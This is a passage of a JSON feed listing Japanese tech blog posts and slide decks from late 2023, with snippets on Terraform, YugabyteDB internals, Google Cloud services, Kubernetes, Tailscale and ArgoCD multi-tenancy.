活用大全 - IaCの今 に登壇したぞ!発表スライドみんな!スライドぜってぇ見てくれよな!『Terraform活用大全 - IaCの今。』の登壇資料です!!tfstateを分割してみんなで最高になろう✌\uD83C\uDFFB#Terraform_findyhttps://t.co/NteGvKdMEE— 長谷川 広樹 (地下強制労働者) (@Hiroki__IT) October 25, 2023 ちな、発表内容の詳細はこの記事をみてくれよな!","isoDate":"2023-10-25T03:00:00.000Z","dateMiliSeconds":1698202800000,"authorName":"長谷川 広樹","authorId":"hiroki-hasegawa"},{"title":"\uD83E\uDDD1‍\uD83D\uDE80 tfstate の分割パターンとディレクトリ構成への適用","link":"https://speakerdeck.com/hiroki_hasegawa/tfstate-nofen-ge-hatantoteirekutorigou-cheng-henoshi-yong","contentSnippet":"『Terraform活用大全 - IaCの今』の登壇資料です\\r\\r\\r・Terraformのtfstateの分割パターン\\r・tfstate分割をリポジトリやリモートバックエンドのディレクトリ構成への適用する方法\\r\\rを紹介しました\\r\\rスライドでは少ししか分割パターンを紹介できませんでしたので、ぜひ元記事 (tfstateファイルの分割パターンとディレクトリ構成への適用) もご参照ください\uD83D\uDC4D\uD83C\uDFFB\\r\\r\uD83D\uDC26 ツイート:https://x.com/Hiroki__IT/status/1717030862452384047","isoDate":"2023-10-24T04:00:00.000Z","dateMiliSeconds":1698120000000,"authorName":"長谷川 広樹","authorId":"hiroki-hasegawa"},{"title":"YugabyteDBのドキュメントを全部読む Day9","link":"https://nnaka2992.hatenablog.com/entry/reading_yugabytedb_docs/9_core_functions_high_availability","contentSnippet":"前回からつづいてYugabyteDBのドキュメントを読んでいきます。前回はArchitecture > Core functions > Read I/O pathを読みました。今回はArchitecture > Core functions > High Availabilityを読みます。ドキュメントのバージョンは最新のv2.19 previewです。また画像は同ドキュメントより引用しています。High availabilityYugabyteDBは一貫性と分断耐性を兼ね備えたデータベースであると同時にリーダーの障害時に新しいリーダーとしてフェイルオーバー出来るアクティブレプリカを持つことで高可用性(HA)を達成している。もしノードに障害が発生した場合、そのノード上で動作するYB-TServerとYB-Masterの停止を引き起こす。YB-TServer failureYB-TServerはYSQLレイヤとアクティブなIOを提供するピアーリーダータブレットを含むタブレットをホストする。YSQレイヤとタブレットピアーフォロワーとタブレットピアーリーダーで発生した障害はそれぞれ特別な方法であつかわれる。YQL failureアプリケーションの視点からみればYQLはステートレスである。そのためクライアントが発行したリクエストは単純に他ノードのYQLにリクエストが送信される。スマートクライアントを利用している場合、スマートクライアントは理想的なYB-TServerの場所をタブレットが所有するキーから検索し、リクエストを直接そのノードに転送する。Tablet peer follower failureタブレットピアーフォロワーはクリティカルパスではない。この障害はユーザーリクエストへの可用性に影響しない。Tablet peer leader failureタブレットピアーリーダーの障害は数秒以内にRaftレベルのリーダー選出を自動的にトリガーし、他のYB-TServerに配置されているタブレットピアーが新しいリーダーとして選出される。タブレットピアリーダーに障害が発生した場合、可用性が損なわている時間は約3秒(ハードビートの感覚がデフォルトの500msの場合)である。YB-Master failureYB-Masterは通常のIOオペレーションではクリティカルパスでは無いため、ユニバースを動作させるのに影響は無い。しかしYB-Masterは異るノードで動作するピアーのRaftグループの一部であるため。このピアーのうちの一つがアクティブなマスターで残りがアクティブスタンバイである。YB-Masterのリーダーであるアクティブマスターに障害が発生した場合、ピアーはリーダーの障害を検知し、新なアクティブマスターであるYB-Masterのリーダーを障害時に数秒以内で再選出する。","isoDate":"2023-10-21T15:12:37.000Z","dateMiliSeconds":1697901157000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"Google Application Integrationについて","link":"https://zenn.dev/nedoko_dok0dko/articles/365af68bb280e7","contentSnippet":"whatGoogle Cloudの「Application Integration」というサービスについて軽く調べたことをまとめたログ関連してiPaasについても調べたことを記載する Application Integrationとはhttps://cloud.google.com/application-integration?hl=jaGoogle Cloudが提供するIntegration Platform as a Service(iPaaS)ソリューションビジュアルエディタを利用することによって、以下がノーコードで行えるイベントによるトリガーの...","isoDate":"2023-10-18T09:20:05.000Z","dateMiliSeconds":1697620805000,"authorName":"seno","authorId":"seno"},{"title":"TailscaleのMagicDNSがなぜかLinux上で動かなくなったのでトラブルシューティングした","link":"https://blog.atusy.net/2023/10/17/tailscale-magicdns-with-networkmanager/","contentSnippet":"MagicDNSを使っているつもりだが、名前解決に失敗する……!どうやらLinuxの場合、NetworkManager + systemd-resolvedという構成を使っているケースが多いらしく、以下のようにして、 /etc/resolv.confを設定してやればいいようだ(Configuring Linux DNS)。","isoDate":"2023-10-17T00:00:00.000Z","dateMiliSeconds":1697500800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Cloud Asset Inventoryとは","link":"https://zenn.dev/nedoko_dok0dko/articles/e80d73d4f28a79","contentSnippet":"whatGoogle Cloud のCloud Asset Inventoryについて調べてわかったことの個人まとめ Cloud Asset Inventoryとはhttps://cloud.google.com/asset-inventory/docs/overview?hl=jaCloud Asset Inventory は、時系列データベースに基づいてインベントリ サービスを提供します。このデータベースは、Google Cloud のアセット メタデータの 35 日間分の履歴を保持します。過去 35 日間変更がない既存のアセットの場合、Cloud Asset ...","isoDate":"2023-10-13T10:27:12.000Z","dateMiliSeconds":1697192832000,"authorName":"seno","authorId":"seno"},{"title":"kube-controller-manager入門","link":"https://speakerdeck.com/bells17/kube-controller-managerru-men","contentSnippet":"SRETT #7 で発表した資料です。\\rhttps://3-shake.connpass.com/event/293432/\\r\\r発表のライブ配信はこちら。\\rhttps://www.youtube.com/watch?v=h1VxlvF9bls\\r\\rzennのスクラップ:\\rhttps://zenn.dev/bells17/scraps/592a02b3bc1ff3\\r\\rスライドで紹介した参考リンク集:\\r- https://github.com/kubernetes/kubernetes/tree/v1.28.2","isoDate":"2023-10-12T04:00:00.000Z","dateMiliSeconds":1697083200000,"authorName":"bells17","authorId":"bells17"},{"title":"Vertex AI Searchによる社内knowlegeの要約ツールをつくってみた","link":"https://sreake.com/blog/vertex-ai-search-summary-tool/","contentSnippet":"こんにちは、初めましての方もそうでない方も、Sreake事業部 佐藤慧太(@SatohJohn)です。 今回Google CloudのVertex AI Search(旧Enterprise Search)について検証の […]The post Vertex AI Searchによる社内knowlegeの要約ツールをつくってみた first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2023-10-12T03:46:53.000Z","dateMiliSeconds":1697082413000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Rでアホになった要素を速く見つけろ!(ナベアツネタ)","link":"https://blog.atusy.net/2023/10/12/fast-fool-findier/","contentSnippet":"ナベアツは数字がでかくなるほどアホになる割合がアップすると聞いたので検証してみましたhttps://twitter.com/jagarikin/status/1711855799184785732これをRでやってみるべく、MITTIさんが書いたコードが重いらしいです。","isoDate":"2023-10-12T00:00:00.000Z","dateMiliSeconds":1697068800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"スリーシェイク、 インシデント管理・運用プラットフォーム「PagerDuty」の導入支援サービスを正式リリース","link":"https://sreake.com/blog/pagerduty-package/","contentSnippet":"株式会社スリーシェイクが提供するSRE総合支援サービス「Sreake(スリーク)」は、新たに 、システムのインシデント対応を一元化するプラットフォーム「PagerDuty」の導入支援サービス「PagerDutyパッケージ」を正式リリースいたしました。The post スリーシェイク、 インシデント管理・運用プラットフォーム「PagerDuty」の導入支援サービスを正式リリース first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2023-10-10T00:50:00.000Z","dateMiliSeconds":1696899000000,"authorName":"Sreake","authorId":"Sreake"},{"title":"SREとPlatform Engineerの交差点","link":"https://speakerdeck.com/nwiizo/sretoplatform-engineernojiao-chai-dian","contentSnippet":"Platform Engineering Meetup #5 #PFEM\\rhttps://platformengineering.connpass.com/event/295048/ \\r\\rSREとPlatform Engineerの交差点: 2つの領域の交差と組織への適用 というタイトルで登壇します。\\r\\r登壇ブログ |『SREとPlatform Engineerの交差点:2つの領域の交差と組織への適用』というタイトルで登壇しました\\rhttps://syu-m-5151.hatenablog.com/entry/2023/10/05/233555\\r\\rグレイラットの殺人 ワシントン・ポーが面白かったのでオススメです。\\rhttps://www.hayakawa-online.co.jp/shopdetail/000000015569/","isoDate":"2023-10-05T04:00:00.000Z","dateMiliSeconds":1696478400000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"SREとPlatform Engineerの違いを3つのポイントで理解する","link":"https://sreake.com/blog/3-diffs-with-sre-and-platform-engineer/","contentSnippet":"はじめに プラットフォームエンジニアリング(Platform Engineering)とサイト信頼性エンジニアリング(SRE, Site Reliability Engineering)はともに、ITインフラとアプリケー […]The post SREとPlatform Engineerの違いを3つのポイントで理解する first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2023-10-04T03:49:57.000Z","dateMiliSeconds":1696391397000,"authorName":"Sreake","authorId":"Sreake"},{"title":"DietPi で DNLA サーバー","link":"https://blog.1q77.com/2023/09/minidlna-on-dietpi/","contentSnippet":"Raspberry Pi 4 を買った週に Raspberry Pi 5 が発表されてちょっと悔しいところですが Windows XP 時代から OS を更新しながら使っていた古いデスクトップPCを処分したのでそこで","isoDate":"2023-09-30T08:33:09.000Z","dateMiliSeconds":1696062789000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"EventBridge Scheduler からの Lambda 関数起動に Lambda Permission は不要","link":"https://zenn.dev/toshikish/articles/743f69389aa99c","contentSnippet":"AWS Lambda 関数の他サービスからの呼び出しAWS Lambda 関数にはリソースベースポリシーを割り当てることができます。関数を他のサービスから呼び出すとき,通常はリソースベースポリシーにそのサービスからの実行を許可するポリシーを追加する必要があります。例えば,Amazon SNS からイベント駆動で呼び出す場合は,以下のように add-permission コマンドを実行することでポリシーを追加することができます。aws lambda add-permission --function-name example-function \\\\--action lambda...","isoDate":"2023-09-22T10:16:34.000Z","dateMiliSeconds":1695377794000,"authorName":"toshikish","authorId":"toshikish"},{"title":"WSL 2 で外部ストレージをマウント","link":"https://blog.1q77.com/2023/09/wsl2-mount-volume/","contentSnippet":"Laptop を Linux で使用していた時の遺産を WSL 環境でも使おうと XFS でフォーマットされた USB 接続の HDD をマウントする方法がないかなと思って調べたメモ。 Microsoft のドキュメ","isoDate":"2023-09-21T14:08:28.000Z","dateMiliSeconds":1695305308000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"IPA試験 合格体験記/qualification-story","link":"https://speakerdeck.com/moz_sec_/qualification-story","contentSnippet":"","isoDate":"2023-09-15T04:00:00.000Z","dateMiliSeconds":1694750400000,"authorName":"Kobayashi Shun","authorId":"moz-sec"},{"title":"BigQueryの行列レベルのアクセス制御について","link":"https://zenn.dev/nedoko_dok0dko/articles/bc6a413eb623c7","contentSnippet":"whatBigQueryにおける「行列レベル」のアクセス制御について調べたことをまとめる そもそも: 行・列単位に対してのアクセス制御は可能なのか?A. できるそれぞれ記載していく 列単位https://cloud.google.com/bigquery/docs/column-level-security-intro?hl=ja列に対して事前定義したポリシータグと呼ばれるものを付与することで、特定のアカウントやグループだけが列にアクセスできる。アクセスポリシーはSQLを実行する際に確認され、許可されていないメンバーからのクエリはAccess Denitedと...","isoDate":"2023-09-14T11:46:25.000Z","dateMiliSeconds":1694691985000,"authorName":"seno","authorId":"seno"},{"title":"Cloud Deployを使ったCloud Runのリリース","link":"https://zenn.dev/satohjohn/articles/7e6a70edc8f36e","contentSnippet":"概要Cloud RunのリリースにCloud Deployを使ってみます。 そもそもCloud Deployとはhttps://cloud.google.com/deploy?hl=jaGKE、Cloud Runのリリースを管理できるサービスになります。リリースフローを記載したパイプラインの定義を作成し、パイプラインを作成したら、フローを管理できるようになります。各フローでは基本内部でskaffoldを通して、Cloud Buildが実行される形です。Cloud Deployを使うと以下のような、リリースフローになるかと思います。Cloud BuildでImageを...","isoDate":"2023-09-13T05:47:13.000Z","dateMiliSeconds":1694584033000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"Kubernetesソースコードリーディング入門","link":"https://speakerdeck.com/bells17/kubernetessosukotoriteinkuru-men","contentSnippet":"Kubernetes Novice Tokyo #27 で発表した資料です。\\rhttps://k8s-novice-jp.connpass.com/event/293144/\\r\\r発表のライブ配信はこちら。\\rTODO\\r\\rスライドで紹介した参考リンク集:\\rhttps://bells17.medium.com/things-you-should-know-about-reading-kubernetes-codes-933b0ee6181d \\rhttps://www.amazon.co.jp/dp/4297104385/\\rhttps://www.amazon.co.jp/dp/4297118378/ \\rhttps://go.dev/tour/welcome/1 \\rhttps://gopherdojo.org/studyroom/ \\rhttps://www.amazon.co.jp/dp/4621300253/ \\rhttps://speakerdeck.com/bells17/kubelet-and-containers \\rhttps://speakerdeck.com/ryusa/servicewotazunete3000xing-kuberneteskodorideingufalselu \\rhttps://speakerdeck.com/bells17/kube-api-server-k8sjp \\rhttps://speakerdeck.com/sanposhiho/zi-zuo-sitexue-bukubernetes-schedulerru-men \\rhttps://speakerdeck.com/bells17/cloud-controller-manager-deep-dive \\rhttps://speakerdeck.com/masayaaoyama/infrastudy2-k8s \\rhttps://github.com/kubernetes/client-go/tree/master/examples/workqueue \\rhttps://github.com/kubernetes/sample-controller/blob/master/controller.go \\rhttps://github.com/kubernetes-sigs/kubebuilder \\rhttps://speakerdeck.com/bells17/kubebuilder-introduction \\rhttps://zoetrope.github.io/kubebuilder-training/ \\rhttps://github.com/cybozu-go \\rhttps://www.youtube.com/watch?v=yqB_le-N6EE \\rhttps://github.com/kubernetes/enhancements/blob/master/keps/sig-instrumentation/1602-structured-logging/README.md \\rhttps://github.com/kubernetes/enhancements/issues/1602 \\rhttps://github.com/kubernetes/klog/issues/125 \\rhttps://github.com/kubernetes/klog/pull/126 \\rhttps://github.com/kubernetes-csi \\rhttps://kubernetes-csi.github.io/docs/drivers.html \\rhttps://speakerdeck.com/bells17/introduction-to-csi \\rhttps://github.com/kubernetes/kubeadm \\rhttps://speakerdeck.com/bells17/implementation-of-kubeadm-init \\rhttps://github.com/kubernetes-sigs/metrics-server \\rhttps://speakerdeck.com/bells17/metrics-server \\rhttps://speakerdeck.com/bells17/accurate-introduction \\rhttps://github.com/cybozu-go/accurate \\rhttps://slack.k8s.io/ \\rhttps://www.youtube.com/watch?v=Ayo5w-CSmP0 \\rhttps://github.com/kubernetes/community","isoDate":"2023-09-12T04:00:00.000Z","dateMiliSeconds":1694491200000,"authorName":"bells17","authorId":"bells17"},{"title":"GitHub ActionsでWorkload Identityでの認証を入れてGoogle CloudのAPIを叩く","link":"https://zenn.dev/satohjohn/articles/1645be8e83eab6","contentSnippet":"概要正直難しいと思ってたのですが、資料を読んでいくと表面上、実装は難しくありませんでした。GitHub ActionsとGoogle Cloudを連携する場合、json管理とかしなくても済むし、基本的にやっておいて損はないと思います。ユースケースとしては、例えば、GitHub Actionsで実行した結果(report)をGoogle Cloud Storageにデータを送りたいなどの際に使えると思います。Identity Poolに対して、providerは複数作成できるため、いろんな GitHub Actionsから利用されるようなパターンでも、provider:scri...","isoDate":"2023-09-11T14:17:35.000Z","dateMiliSeconds":1694441855000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"BigQueryのオンデマンド料金におけるコスト管理方法についてメモ","link":"https://zenn.dev/nedoko_dok0dko/articles/f0da04c4a70ea6","contentSnippet":"whatBigQueryにおけるコスト管理方法について、公式ドキュメントを元にメモしたログ今回はオンデマンド料金について記載のため、定額料金(BigQuery Editions)に関しては記載しない 高額請求が来てしまうパターンとはよく見かける/耳にするのは以下のような場合(あくまで一例)大量にデータをスキャンするクエリを実行するselect * 系のクエリを投げる(Table Patitionを利用したテーブルの場合)partitionで指定しないでクエリを投げる料金がかかるクエリをバッチなど利用して連続で実行してしまうTable Patition...","isoDate":"2023-09-11T01:56:24.000Z","dateMiliSeconds":1694397384000,"authorName":"seno","authorId":"seno"},{"title":"YugabyteDBのドキュメントを全部読む Day8","link":"https://nnaka2992.hatenablog.com/entry/reading_yugabytedb_docs/8_core_functions_read_io_path","contentSnippet":"前回からつづいてYugabyteDBのドキュメントを読んでいきます。前回はArchitecture > Core functions > Write I/O pathを読みました。今回はArchitecture > Core functions > Read I/O pathを読みます。ドキュメントのバージョンは最新のv2.19 previewです。また画像は同ドキュメントより引用しています。Read I/O pathI/O Pathはタブレットリーダーが特定されリード処理を実行する単一キーの例で説明することが出来る。Tablet leader identificationユーザーが発行したYQLクエリレイヤに作用するリードリクエストはポートから適切なAPI(YQLまたはYCQL)を経由して行なわれる。このユーザリクエストはYQLレイヤで内部キーに変換され、YQLレイヤがタブレットとそれをホストするYB-TServerを発見するのに利用される。YQLレイヤはこれをYB-MasterにたしてRPC呼び出しを実行するために行なう。またそのレスポンスは将来の利用のためにキャッシュされる。その後YQLレイヤはリーダータブレットピアーをホストするYB-TServerに対してリード処理を行なう。このリード処理は内部キーを保持するタブレットのRaftグループのリーダーによって処理される。このリードリクエストを処理するRaftグループのリーダーはDocDBから読み込みを実行し、その結果をユーザーに戻す。Write I/O Pathで説明した通り、YugabyteDBのスマートクライアントではアプリケーションのリクエストを直接適切なYB-TServerに送信することが出来るため、余計なネットワークホップやマスターへのアクセスを省略することが出来る。Read operation performed by tablet leaderkという値をKというプライマリキー行に持つテーブルT1からデータを取得するケースについて考える。またテーブルT1はキー行Kと値行Vを持つものとする。1下記の画像はリード処理について説明している。YugabyteDBはデフォルトでは強整合性の読み取りを採用している。リードクエリはさらに複雑になることもある。YQLクエリレイヤーは式やビルトイン関数、算術演算を含むクエリを処理するfully-optimized2されたクエリエンジンを持っている。SELECT K,V from T1 where K = \'k\'ということ↩↩","isoDate":"2023-09-06T18:37:55.000Z","dateMiliSeconds":1694025475000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"LookMLとは","link":"https://zenn.dev/nedoko_dok0dko/articles/18a4a04b98dcb8","contentSnippet":"これは何?Looker内にある機能である「LookML」について調べたことをまとめた個人的備忘録。 LookMLとはLookMLの紹介 \xa0|\xa0 Looker \xa0|\xa0 Google CloudLookML は、Looker Modeling Language の略です。セマンティックデータモデルを作成するためにLookerで使用される言語です。LookMLを使用して、SQLデータベース内のディメンション、集計、計算、およびデータの関係を記述できます。LookMLは「Looker上で利用できる独自の言語」のことをさす 別にMLや機械学習は関係ないLookerは、Lo...","isoDate":"2023-09-05T10:46:35.000Z","dateMiliSeconds":1693910795000,"authorName":"seno","authorId":"seno"},{"title":"Nodejs(Nest.js)のアプリケーションのbuildを高速化、slim化してみようの会","link":"https://zenn.dev/satohjohn/articles/c05d29f5d68e0c","contentSnippet":"前提DockerによるNode.jsのインストール(pull)はキャッシュされているものとする.dockerignoreは以下の通りnode_modules.git.gitignore*.mddisttest 最初にまとめ軽く、そんなに依存関係が多くないアプリケーションであればnpmでstaging buildでキャッシュ効かせるぐらいでよいかもRUN --mount=type=cache,target= は効果がありそうである (https://zenn.dev/kou64yama/articles/powerful-docker-build-cache...","isoDate":"2023-09-02T10:02:16.000Z","dateMiliSeconds":1693648936000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"mini.surroundによるHTMLタグ編集のemmet対応","link":"https://blog.atusy.net/2023/09/01/mini-surround-emmet/","contentSnippet":"mini.surroundはvim-sandwichのような、括弧やクオーテーションなどで囲まれた文字列を編集するためのNeovim向けプラグインです。選択範囲を()で囲う、文字列の囲いを()から\\"\\"に変更する、\\"\\"による囲いを削除するといったことが可能です。同様にHTMLタグに対する操作にも対応していますが素朴なものです。","isoDate":"2023-09-01T00:00:00.000Z","dateMiliSeconds":1693526400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Lookerのユーザー権限について","link":"https://zenn.dev/nedoko_dok0dko/articles/160cb146e72740","contentSnippet":"これは何Lookerのユーザー権限一覧を個人的にまとめたものhttps://cloud.google.com/looker/docs/admin-panel-users-roles?hl=ja#default_permission_sets ユーザー権限一覧Admin:Developer、Viewer、Standard権限に加え、データソースへの接続やユーザー管理の権限を持つ現時点で確認できる、Adminでしかできない機能については以下データソース(BigQuery等)への接続設定ユーザーの追加・削除・権限の変更ユーザー・グループ単位のフォルダの公開・非公...","isoDate":"2023-08-31T17:22:40.000Z","dateMiliSeconds":1693502560000,"authorName":"seno","authorId":"seno"},{"title":"YugabyteDBのドキュメントを全部読む Day7","link":"https://nnaka2992.hatenablog.com/entry/reading_yugabytedb_docs/7_core_functions_write_io_path","contentSnippet":"前回からつづいてYugabyteDBのドキュメントを読んでいきます。前回はArchitecture > Core functions > Table Creationを読みました。今回はArchitecture > Core functions > Write I/O pathを読みます。ドキュメントのバージョンは最新のv2.19 previewです。また画像は同ドキュメントより引用しています。Write I/O pathWrite I/O pathはYQLレイヤーで処理され、タブレットリーダーによってレプリケーションの準備が行なわれるシングルキーでの書き込みとして例示することが出来る。アトミックなアップデートを共なう複数キーでの分散トランザクションなど複雑なケースについては分散トランザクションに記載する。Write operation processing by YQL layerユーザーが発行したYQLクエリレイヤに作用するライトリクエストはポートから適切なAPI(YQLまたはYCQL)を経由して行なわれる。このユーザーリクエストはYQLレイヤで内部キーに変換される。シャーディングで説明するように、それぞれのキーは一つのタブレットが所有する。どのタブレットがキーを所有するか特定するために、YQLレイヤはYB-MasterにRPC1呼び出しを実行する。そのレスポンスは将来の利用のためにキャッシュされる。YugabyteDBはタブレットの場所をキャッシュし直接参照することでネットワークホップを減らすことで、YQLレイヤが直接適切なYB-TServerにホストされるタブレットリーダーにリクエストを送信することが出来るスマートクライアントを持つ。YQLレイヤがローカルノードにタブレットリーダーを見つけた場合、RPCはローカルファンクションコールになりリクエストをシリアライズとデシリアライズしてネットワーク越しに送信する時間を節約することが出来る。その後YQLレイヤはタブレットリーダーをホストするYB-TServerへの書き込みを発行する。この書き込みはキーを所有するRaftグループのタブレットリーダーによって処理される。Preparation of the operation for replication by tablet leader下記の図はタブレットリーダーがレプリケーションを実行する処理を説明している。タブレットのRaft Groupリーダーは以下の処理を実行する。現在実行されている処理が現在のスキーマに対応しているかを判別するキーに対してローカルin-memoryロックマネージャーを利用してロックを取得する。このロック機構はフォロワーには存在しない必要であればデータを読み込む(read-modify-writeや条件付きアップデート命令など)DocDBに書き込まれる変更のバッチを準備する。この書き込みバッチは殆ど最終的にRocksDBに書き込まれるKey-Valueペアに近く、それぞれのキーの末尾に最終的なhybrid timestampが添えられていないだけであるRaft replication of the write operation書き込みのRaftレプリケーション処理の流れは以下のように説明することが出来る。リーダーがバッチをRaft logにアペンドし、書き込みのためのhybrid timestampを選択するRaftを利用しデータをピアーに複製する成功したRaft replicationのデータをローカルのDocDBに反映するユーザーに成功を返すフォロワータブレットはRaftを利用したデータの複製を受けつけ、コミットされた事が分ったタイミングでその複製をローカルのDocDBに反映する。リーダーは以下のようにコミットポイントに於ける後続のRPCリクエストの進行を進める。書き込みバッチを含むRaftエントリーは過半数以上のタブレットRaft Groupピアーに複製されるRaftのサブシステムから\\"Replication Successful\\"のコールバックを取得したあと、リーダーはローカルのDocDBにバッチの書き込みを適用するリーダーからの次の更新でエントリーがコミットされたことがフォロワーに通知され、フォロワーはそれぞれのRocksDBインスタンスにバッチの書き込みを適用する。Response to the clientInformation Pending2Exampleskとvという値をKという行とVという行をもつテーブルT1に挿入する例について考える3。この例ではユーザーアプリケーションがランダムなYugabyteDBサーバにWriteクエリを送信し、そのサーバがリクエストを適切にルーティングすると仮定して簡略化している。特にYCQLではYugabyteDB Smart Clientを使うことで、余分なネットワークホップを避けることが出来る。↩原文ママ。過去のバージョンでも記載無し↩INSERT INTO T1 (K,V) VALUES(\'k\',\'v\')ということ↩","isoDate":"2023-08-30T16:03:36.000Z","dateMiliSeconds":1693411416000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"Modifying output format from within R Markdown chunk by `rmarkdown::output_format_dependency`","link":"https://blog.atusy.net/2023/08/28/rmarkdown-output-format-dependency/","contentSnippet":"This article introduces a new feature from rmarkdown 2.24, output_format_dependency().R Markdown users use variety of output formats from variety of packages such as html_document, bookdown::git_book, revealjs::revealjs_presentation, and so onUsually, users specify the YAML frontmatter to choose and tweak formats.output: html_document: toc: trueSome people may be surprised, but the output formats are R functions!And the above example is equivalent to specifying the toc argument to html_document().Output formats already provide customizibility.","isoDate":"2023-08-28T00:00:00.000Z","dateMiliSeconds":1693180800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"YugabyteDBのドキュメントを全部読む Day6","link":"https://nnaka2992.hatenablog.com/entry/reading_yugabytedb_docs/6_core_functions_table_creation","contentSnippet":"前回からつづいてYugabyteDBのドキュメントを読んでいきます。前回はArchitecture > Core functions > Universe creationを読みました。今回はArchitecture > Core functions > Table Creationを読みます。ドキュメントのバージョンは最新のv2.19 previewです。また画像は同ドキュメントより引用しています。Table CrationYugabyteDBではユーザーにより実行されるテーブルの作成はYB-Masterのリーダーが実行する非同期APIによって管理される。YB-MasterはそのAPIでテーブルのスキーマと障害耐性を高めるために形成するRaftグループに所属するYB-Masterでのテーブル作成に必要な他の情報のレプリケーションが完了した段階でAPIの成功を返す。YB-Masterのリーダーがテーブル作成を実行するときは複数のステップが存在する。ValidationYB-Masterリーダーはテーブルスキーマの検証を行ない、指定された数のタブレットを作成する。これらのタブレットはこの段階ではYB-TServerには割り振られていない。ReplicationYB-MasterリーダーはYB-MasterのRaftグループにテーブルスキーマと新しく作成されたタブレット(この時点ではYB-TServerへの割り当て行なわれていない)の複製を行なう。この処理はYB-Masterリーダに障害が発生してもテーブル作成が成功することを保証する。Acknowledgementテーブル作成処理はYB-Masterリーダーに障害が発生しても処理を継続することが出来るため、この段階で非同期テーブル作成APIは成功を返す。ExecutionYB-Masterリーダーはそれぞれのタブレットをレプリケーションファクターとして指定された数だけYB-TServerに割り当てを行なう。このタブレットピアーの配置は指定された障害耐性を実現でき、またタブレットの割り当てがYB-TServerに均等に行なわれるように実行される。タブレットのYB-TServerへの割り当てはタブレットのレプリカが複数クラウド、リージョン、アヴェイラビリティゾーンをまたいで分散するといった追加の制約を満す必要がある。Continuous monitoringYB-Masterリーダーは全てのタブレットの割り当て処理を監視し、その実行状態と完了をユーザーが実行したAPIコールに対して応答する必要がある。Examplesテーブルが4ノードからなるYugabyteDBUniverseに作成される処理について考える。このときテーブルは16のタブレットと3つのレプリケーションファクターを持つとする。YB-Masterリーダーはスキーマを検証する。また16タブレット(合計48のタブレットピアー)を作成し、Raftを利用して過半数のYB-TServerにテーブルの作成に必要なデータを複製する。作成したタブレットをRaftグループを成すYB-TServerの中の指定された数のYB-TServer割り当て、リーダーの選出を行なう。このタブレットに属するキーに対する全てのリードとライトは、タブレットピアーのリーダーとRaftグループが責任を持つ。タブレットが割り当てられると長期に渡る障害か将来のロードバランシングが発生しYB-Masterにオーナーシップを変更されるまで、割り当て先のYB-TServerが所有する。タブレットリーダーをホストするYB-TServerの内の1台に障害が発生した場合、タブレットのRaftグループはI/Oを処理するために即座にリーダーエレクションを実行する。そのためYB-MasterはI/Oにおけるクリティカルパスになることはない。レプリケーション先となる候補を探す。この複製処理は段階的かつGracefulに実行される。","isoDate":"2023-08-23T14:26:45.000Z","dateMiliSeconds":1692800805000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"【ArgoCD\uD83D\uDC19️】KubernetesのマルチテナントパターンとArgoCDの実践テナント設計","link":"https://hiroki-hasegawa.hatenablog.jp/entry/2023/08/18/110646","contentSnippet":"この記事から得られる知識この記事を読むと、以下を \\"完全に理解\\" できます✌️Kubernetesのマルチテナントパターンの種類マルチテナントパターンをArgoCDで実践する場合にオススメのパターン (★で表現)ArgoCDのNamespacedスコープモードとClusterスコープモードArgoCDのテナントが防いでくれる誤った操作の具体例記事のざっくりした内容は、以下のスライドからキャッチアップできちゃいます! この記事から得られる知識01. はじめに02. なぜマルチテナントが必要なのかシングルテナントの場合マルチテナントの場合03. Kubernetesのマルチテナントパターンマルチテナントパターンの一覧Clusters as-a-ServiceControl Planes as-a-ServiceNamespaces as-a-Serviceカスタムリソーステナント04. ArgoCDでのテナントパターン実践一覧04-02. Clusters as-a-Service 実践実Clusterテナントオススメしない理由04-03. Control Planes as-a-Service 実践仮想Clusterテナント - ★オススメした理由04-04. Namespaces as-a-Service 実践04-05. カスタムリソーステナントの実践AppProjectテナントCLモード vs. NSモード05. CLモードなArgoCDCLモードなArgoCDとはAppProjectArgoCDコンポーネント用ConfigMap (argocd-cmd-params-cm)ログインユーザー用ConfigMap (argocd-rbac-cm)オススメしない理由05-02. NSモードなArgoCD - ★★NSモードなArgoCDとはAppProjectArgoCDコンポーネント用ConfigMap (argocd-cmd-params-cm)ログインユーザー用ConfigMap (argocd-rbac-cm)特にオススメした理由AppProjectテナント例の一覧テナント例1Namespace (プロダクトの実行環境別)、AppProject (プロダクトの実行環境別)オススメしなかった理由テナント例2 - ★Namespace (プロダクト別)、AppProject (プロダクトの実行環境別)オススメした理由テナント例3 - ★★Namespace (プロダクト別)、AppProject (プロダクトのサブチーム別)特にオススメした理由06. どのような誤った操作を防いでくれるのかマニフェストのデプロイ制限マニフェストをデプロイできる場合(\uD83D\uDEAB制限例1) 無認可のNamespaceでApplicationを作成しようとした場合(\uD83D\uDEAB制限例2) 無認可のAppProjectでApplicationを作成しようとした場合(\uD83D\uDEAB制限例3) 無認可のClusterをデプロイ先に指定しようとした場合(\uD83D\uDEAB制限例4) 無認可のNamespaceをデプロイ先に指定しようとした場合カスタムリソースのReconciliation制限ArgoCD系カスタムリソースをReconciliationできる場合(\uD83D\uDEAB制限例1) 無認可のNamespaceにReconciliationを実行しようとした場合07. おわりに謝辞記事関連のおすすめ書籍01. はじめにどうも、熟成アルトバイエルンです。画像引用元:Argo Projectさて最近の業務で、全プロダクトの技術基盤開発チームに携わっており、全プロダクト共有のArgoCD\uD83D\uDC19のマルチテナント化を担当しました。プロダクトが稼働するKubernetes 